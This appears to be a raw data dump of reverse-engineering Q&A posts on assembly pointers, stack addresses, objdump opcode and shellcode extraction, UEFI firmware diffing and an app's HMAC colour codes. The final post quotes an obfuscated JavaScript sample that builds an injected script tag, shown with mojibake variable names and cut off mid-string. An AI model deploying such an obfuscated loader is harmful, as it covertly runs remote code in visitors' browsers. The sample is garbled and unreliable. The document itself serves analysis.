    Regarding [ebp-1Ch], that's a pointer. In this case, the ebp register contains a memory address (or, more specifically, the value in ebp is treated as a reference to a memory address instead of a literal value), and -1Ch is an offset from that memory address. The lowercase 'h' is just a pneumonic meaning \"hex,\" and to that end, you might also sometimes see offsets and/or hex-based values referenced with a preceding 0x, like this: [ebp-0x1C]. Bearing that in mind, you can really think of that as [ebp-1C].

    \n\n

    Do note that ebp and [ebp] are different things. [ebp] means the value inside of ebp is treated as a reference to a memory address. Let's assume ebp has 0xD34DC0DE in it. Now consider the following:

    \n\n
    mov esi,ebp\nmov esi,[ebp]\nmov esi,[ebp-1C]\n
    \n\n

    The results of each of these would be the following:

    \n\n

    mov esi,ebp // esi now contains the literal value 0xD34DC0DE

    \n\n

    mov esi,[ebp] // esi now contains whatever is inside the memory address 0xD34DC0DE

    \n\n

    mov esi,[ebp-1C] // esi now contains whatever is inside the memory address 0xD34DC0C2 (which is 0xD34DC0DE - 1C)

    \n\n

    Overall, it looks like that subroutine isn't doing anything but moving data from the stack into a register. As a completely blind assumption, if we assume that each argument passed to its respective function is 4-bytes wide, then [ebp-1C] references the 8th argument passed to perhaps a parent routine of this subroutine. In this case, other values of interest could potentially reside in [ebp], [ebp-04], [ebp-08], [ebp-0C], [ebp-10], [ebp-14], and/or [ebp-18].

    \n\n

    Ultimately, we're lacking context here to gather what the purpose of this function you've provided is--though, again, a combination of the aforementioned conventions can possibly tell you a lot about what that mov instruction is potentially a part of. Look into calling conventions for additional clarity. You should be able to infer and research the rest based on the information herein.

    \n" }, { "Id": "15912", "CreationDate": "2017-07-25T18:04:33.933", "Body": "

    I'm investigating a bug that happens in proprietary DLL that doesn't have PDB symbols.

    \n\n

    The callstack looks like this:

    \n\n
    KernelBase.dll!7710c54f()\n[Frames below may be incorrect and/or missing, no symbols loaded for KernelBase.dll]    \nmsvcr90.dll!__CxxThrowException@8()\nScrUsSsDtceLib.dll!5ec92ef1()\nScrUsSsDtceLib.dll!5ec91ec4()\nScrUsSsDtceLib.dll!5ec96f86()\nScrUsSsDtceLib.dll!5ec9de1c()\nScrUsSsDtceLib.dll!5ec9d5f5()\nScrUsSsDtceLib.dll!5ecc2f5d()\nvcomp90.dll!_vcomp::ParallelRegion::HandlerThreadFunc(void *,unsigned long)\nvcomp90.dll!_vcomp::NullAPCFunc(unsigned long)\nkernel32.dll!759b336a()\nntdll.dll!777e9902()\nntdll.dll!777e98d5()\n
    \n\n

    Also I see the following DLL exports in Dependency Walker.

    \n\n
    Ordinal Hint    Entry Point Function\n1   0   0x000135D0  IScrUsDtce2D::IScrUsDtce2D(void)\n2   1   0x00013B30  IScrUsDtce3D::IScrUsDtce3D(void)\n3   2   0x00013F50  IScrUsDtce2D::~IScrUsDtce2D(void)\n4   3   0x00013B50  IScrUsDtce3D::~IScrUsDtce3D(void)\n5   4   0x00012AA0  class IScrUsDtce2D & IScrUsDtce2D::operator=(class IScrUsDtce2D const &)\n6   5   0x00012AD0  class IScrUsDtce3D & IScrUsDtce3D::operator=(class IScrUsDtce3D const &)\n7   6   0x000139A0  int IScrUsDtce2D::FilterImage(unsigned short const *,unsigned short *,int,int)\n8   7   0x00013DC0  int IScrUsDtce3D::FilterVolume(int,unsigned char const * const *,unsigned char * *,int)\n9   8   0x00013620  int IScrUsDtce2D::Init(char const *,struct UsDtceImgInfo const &,enum IScrUsDtce2D::ProcType,unsigned short const *)\n10  9   0x00013BA0  int IScrUsDtce3D::Init(char const *,struct UsDtceImgInfo const &,enum IScrUsDtce3D::ProcType)\n11  10  0x000137F0  int IScrUsDtce2D::InitSSC(char const *,struct UsDtceImgInfo const &,enum IScrUsDtce2D::ProcType,unsigned short const *,bool,float *,int)\n
    \n\n

    Is there any way to understand which functions are called?

    \n\n

    UPD: I understand that bigger part of the callstack addresses may be private functions.

    \n", "Title": "Translate addresses on stack to the exported function names", "Tags": "|debugging|", "Answer": "

    post unadulterated stack use kb and paste the exact output
    \nit is kinda difficult to understand what the symbols are in the stack paste
    \nif they are return address ebp , args ?

    \n\n

    most of the time you may need a disassembler application like ida / radare2 etc that does some extra work to analyze function boundaries and possibly name them

    \n\n

    for example this is a stack from livekd.exe from sysinternals

    \n\n
    0:002> ~0kb\n # ChildEBP RetAddr  Args to Child              \n00 0021eab0 77546a64 7570179c 000000cc 00000000 ntdll!KiFastSystemCallRet\n01 0021eab4 7570179c 000000cc 00000000 00000000 ntdll!NtWaitForSingleObject+0xc\n02 0021eb20 76bebaf3 000000cc ffffffff 00000000 KERNELBASE!WaitForSingleObjectEx+0x98\n03 0021eb38 76bebaa2 000000cc ffffffff 00000000 kernel32!WaitForSingleObjectExImplementation+0x75\n*** ERROR: Module load completed but symbols could not be loaded for e:\\sysint\\livekd.exe\n04 0021eb4c 00076038 000000cc ffffffff 00000000 kernel32!WaitForSingleObject+0x12\nWARNING: Stack unwind information not available. Following frames may be wrong.\n05 0021fae8 000795e6 00000001 002fbec0 002fbee8 livekd+0x6038\n06 0021fb30 76bf3c45 7ffdf000 0021fb7c 775637eb livekd+0x95e6\n07 0021fb3c 775637eb 7ffdf000 770c043e 00000000 kernel32!BaseThreadInitThunk+0xe\n08 0021fb7c 775637be 00079663 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70\n09 0021fb94 00000000 00079663 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b\n
    \n\n

    you can find where livekd is loaded with

    \n\n
    0:002> lm m live*\nBrowse full module list\nstart    end        module name\n00070000 0010d000   livekd     (no symbols)       \n
    \n\n

    now assume you load it in radare2 with the same base address 0x70000 you can seek to the return address in stack 0x76038

    \n\n

    radare does some analysis and says this address belongs to main()

    \n\n
    radare2 -B 0x70000 -AA e:\\SYSINT\\livekd.exe\n\n[0x00079663]> s 0x76038\n\n[0x00076038]> pd 5\n|           0x00076038      6860894200     push 0x428960\n|           0x0007603d      ffd6           call esi\n|           0x0007603f      6860894200     push 0x428960\n|           0x00076044      c705c47b4200.  mov dword [0x427bc4], 0     ; [0x427bc4:4]=-1\n|           0x0007604e      ff158c704100   call dword [0x41708c]\n[0x00076038]> afn\n\nmain <-------------\n[0x00076038]>\n
    \n\n

    another example

    \n\n
    [0x00076038]> s 0x795e6\n[0x000795e6]> afn\nentry0  <----------------\n[0x000795e6]>\n
    \n" }, { "Id": "15925", "CreationDate": "2017-07-27T15:02:50.857", "Body": "

    I have multiple malware files, I want to do an analysis with the opcodes. Im able to export everything to text but I only need the middle column. Any idea on how can I solve this?

    \n\n

    In other words of this output of objdump (objdump -d file)

    \n\n

    \"enter

    \n\n

    how can I only extract: \n8d 36\n8d 3f\n55\n90\n90\n8d 36\n89 e5\n8d 36

    \n", "Title": "How can I export only the opcodes from objdump (or any other program)", "Tags": "|malware|objdump|assembly|", "Answer": "

    This works best for me (and looks easier to understand IMO)

    \n\n
    objdump -r -j .text -d test | cut -d: -f2 | cut -d$'\\t' -f 2\n
    \n\n

    shellcode is best extracted via

    \n\n
    hexdump -v -e '\"\\\\\"\"x\" 1/1 \"%02x\" \"\"' test\n
    \n" }, { "Id": "15929", "CreationDate": "2017-07-28T01:33:45.657", "Body": "

    I have saved a copy of the UEFI firmware currently running on my motherboard through the built-in flash utility. Now I want to compare the firmware dump with the newest firmware update from the manufacture to find out what have changed between the two versions. Both files are of the type Intel serial flash for PCH ROM.

    \n\n

    I want to make sure the new version isn't malicious and I'm unable to verify the integrity in any other way, as the manufacture doesn't provide any checksums and the update is only available over plain HTTP. However, I'm not sure how to get started with this.

    \n\n

    The built-in flash utility must add system specific data to the firmware dump, because everytime I save the firmware it has a different hash. I guess this should be stripped somehow to prevent it from complicating the process...

    \n\n

    Any tips, suggestions etc. on how I can get started is highly appreciated.

    \n", "Title": "Find changes between two UEFI firmware versions?", "Tags": "|firmware|patch-reversing|bios|", "Answer": "

    The dump is likely different due to NVRAM data (basically settings which need to be saved between boots or even BIOS updates, such as boot device, RAM timings, serial number/MAC address and so on). The contents of the firmware volumes containing code should not change between boots.

    \n\n

    There are at least two options I know of to check for differences between UEFI ROM dumps:

    \n\n\n\n
    \n\n

    The module can generate a list of EFI executables from (U)EFI firmware file or
    \nextracted from flash ROM, and then later check firmware image in flash ROM or
    \nfile against this list of [expected/whitelisted] executables

    \n\n
    Usage:\n\n  ``chipsec_main -m tools.uefi.whitelist [-a generate|check,<json>,<fw_image>]``\n\n    - ``generate``  Generates a list of EFI executable binaries from the UEFI\n\n                        firmware image (default)\n\n    - ``check``     Decodes UEFI firmware image and checks all EFI executable\n\n                        binaries against a specified list\n\n    - ``json``      JSON file with configuration of white-listed EFI\n\n                        executables (default = ``efilist.json``)\n\n    - ``fw_image``  Full file path to UEFI firmware image. If not specified,\n\n                        the module will dump firmware image directly from ROM\n\n\n\nExamples:\n\n\n\n>>> chipsec_main -m tools.uefi.whitelist\n\n\n\nCreates a list of EFI executable binaries in ``efilist.json`` from the firmware\n\nimage extracted from ROM\n\n\n\n>>> chipsec_main -i -n -m tools.uefi.whitelist -a generate,efilist.json,uefi.rom\n\n\n\nCreates a list of EFI executable binaries in ``efilist.json`` from ``uefi.rom``\n\nfirmware binary \n\n\n\n>>> chipsec_main -i -n -m tools.uefi.whitelist -a check,efilist.json,uefi.rom\n\n\n\nDecodes ``uefi.rom`` UEFI firmware image binary and checks all EFI executables\n\nin it against a list defined in ``efilist.json``\n
    \n\n
    \n\n

    Note that a BIOS update by its nature will mean some modules will change (due to bugfixes/new features etc.) but this should at least let you know which specific parts changed and maybe even inspect them in detail.

    \n" }, { "Id": "15931", "CreationDate": "2017-07-28T02:35:55.630", "Body": "

    This might be a bit difficult to follow without context, but the gist of it is the following; I'm trying to reverse a certain application, and part of what I\"m attempting to reverse in the app generates 3 unique colors based on a string passed via API requests. I know that I've successfully reversed the API properly as the other data I receive works perfectly and I've built out a clone of the client that properly interacts with the API. What I'm stuck on is three color codes that are generated every day, based on a specific key passed by the API.

    \n\n

    Today, 7/26/17, the color codes are [#c698c8, #72555f, #2f1021], created from the string that the API passed - 87gs4.

    \n\n

    I've disassembled the Java code and traced the generation of these colors to the following set of functions. I've verified that it is indeed the string I grabbed from the API responsible for generating these. The SALT mentioned in the functions is generated from a datetime formatted as yyyyMd - in the case of today's colors, the salt is 20170727, or as the HMAC signature function generates it, 20170727 is the input with 87gs4 as the key.

    \n\n

    The resulting signature is then taken (64 hex characters), and only the first 18 are saved, then split up into 3 to form the color codes. Therefore, I know the signature I'm looking for (for today) begins with c698c872555f2f1021 - but for some reason, my results do not achieve this. I've checked to make sure I\"m using the right key/input order (even reversed it just in case), and I'm getitng 9a0ca25fff8eeccdbaf741436ddacf364f517adcb28299f0544c72a67dca2089 or 30c21ae7995415220e427588e451cbdd58d84785bcd58f8e3f0db2ca0fc104c4. I've also checked lettercase to no avail.

    \n\n

    I don't have tomorrow's colors, but I have the data from the API and know the salt - tomorrow it will be 20170728 and kRG86.

    \n\n

    I have verified that there's no external manipulation via getColorBand() or getSalt() before the values are passed to create the signature, and I've even had another pair of eyes take a look at this - someone who is fairly experienced with this kind of stuff - he thinks that maybe we're missing something in the byte to hex (and vice versa) conversation that is causing incorrect results, but that we're on the right track and that an HMAC-SHA256 hash generator using the yyyyMd salt and the data I received is correct in that it should be generating the right data.

    \n\n

    Code for the actual string manipulation and generation:

    \n\n
            String color = this.hexFortmat.substring(0, 6);\n        ImageView colorBand1 = ((ImageView) DecompiledFile.this.findViewById(R.id.image_view1));\n        ImageView colorBand2 = ((ImageView) DecompiledFile.this.findViewById(R.id.image_view2));\n        ImageView colorBand3 = ((ImageView) DecompiledFile.this.findViewById(R.id.image_view3));\n        String hexFortmat = DecompiledFile.bin2hex(this.mdbytes);\n        byte[] mdbytes = DecompiledFile.generateHmacSHA256Signature(DecompiledFile.this.getSalt(), DecompiledFile.this.getColorBand());\n        boolean performAllTimerFunctions = true;\n        TextView specialInstruction = ((TextView) DecompiledFile.this.findViewById(R.id.textView9));\n        boolean visibleColorBand = false;\n        boolean visibleSpecialInstruction = false;\n
    \n\n

    Relevant signature code:

    \n\n
    public static byte[] generateHmacSHA256Signature(String data, String key) throws GeneralSecurityException, IOException {\n    try {\n        SecretKeySpec secretKey = new SecretKeySpec(key.getBytes(StringEncodings.UTF8), HMAC_SHA_256);\n        Mac mac = Mac.getInstance(HMAC_SHA_256);\n        mac.init(secretKey);\n        return mac.doFinal(data.getBytes(StringEncodings.UTF8));\n    } catch (UnsupportedEncodingException e) {\n        throw new GeneralSecurityException(e);\n    }\n}\n\nstatic String bin2hex(byte[] data) {\n    return String.format(\"%0\" + (data.length * 2) + \"X\", new Object[]{new BigInteger(1, data)});\n}\n
    \n", "Title": "Trying to reverse function to generate certain color strings from an HMAC signature - decompiled code LOOKS right, but my results differ", "Tags": "|java|hash-functions|", "Answer": "

    you possibly have an extra 0 in the month

    \n\n

    https://www.freeformatter.com/hmac-generator.html#ad-output

    \n\n

    2017727

    \n\n

    87gs4

    \n\n

    c698c872565f2f1021645993fe29eff6adba41cb1260b7e671fc1752ae8d94a0

    \n\n

    it is padded according to format string

    \n\n

    http://www.fileformat.info/tip/java/simpledateformat.htm

    \n\n

    !\"enter

    \n" }, { "Id": "15943", "CreationDate": "2017-07-28T23:31:20.407", "Body": "
    \u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7=~[];\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7={___:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7,$$$$:(![]+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7],__$:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7,$_$_:(![]+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7],_$_:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7,$_$$:({}+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7],$$_$:(\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7]+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7],_$$:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7,$$$_:(!\"\"+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7],$__:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7,$_$:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7,$$__:({}+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7],$$_:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7,$$$:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7,$___:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7,$__$:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7};\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_=(\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_=\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$]+(\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$=\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$])+(\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$=(\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$])+((!\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7)+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$$]+(\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__=\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_])+(\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$=(!\"\"+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$])+(\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._=(!\"\"+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$_])+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$]+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$;\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$=\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$+(!\"\"+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$$]+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$;\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$=(\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.___)[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_][\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_];\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$(\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$(\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$+\"\\\"\"+\"$('<\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$__+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$_+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.___+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$__+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.___+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$$+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$__+\"=\\\\\\\"\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$_+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$$+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$$+\"/\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$_+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$$+\"/\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 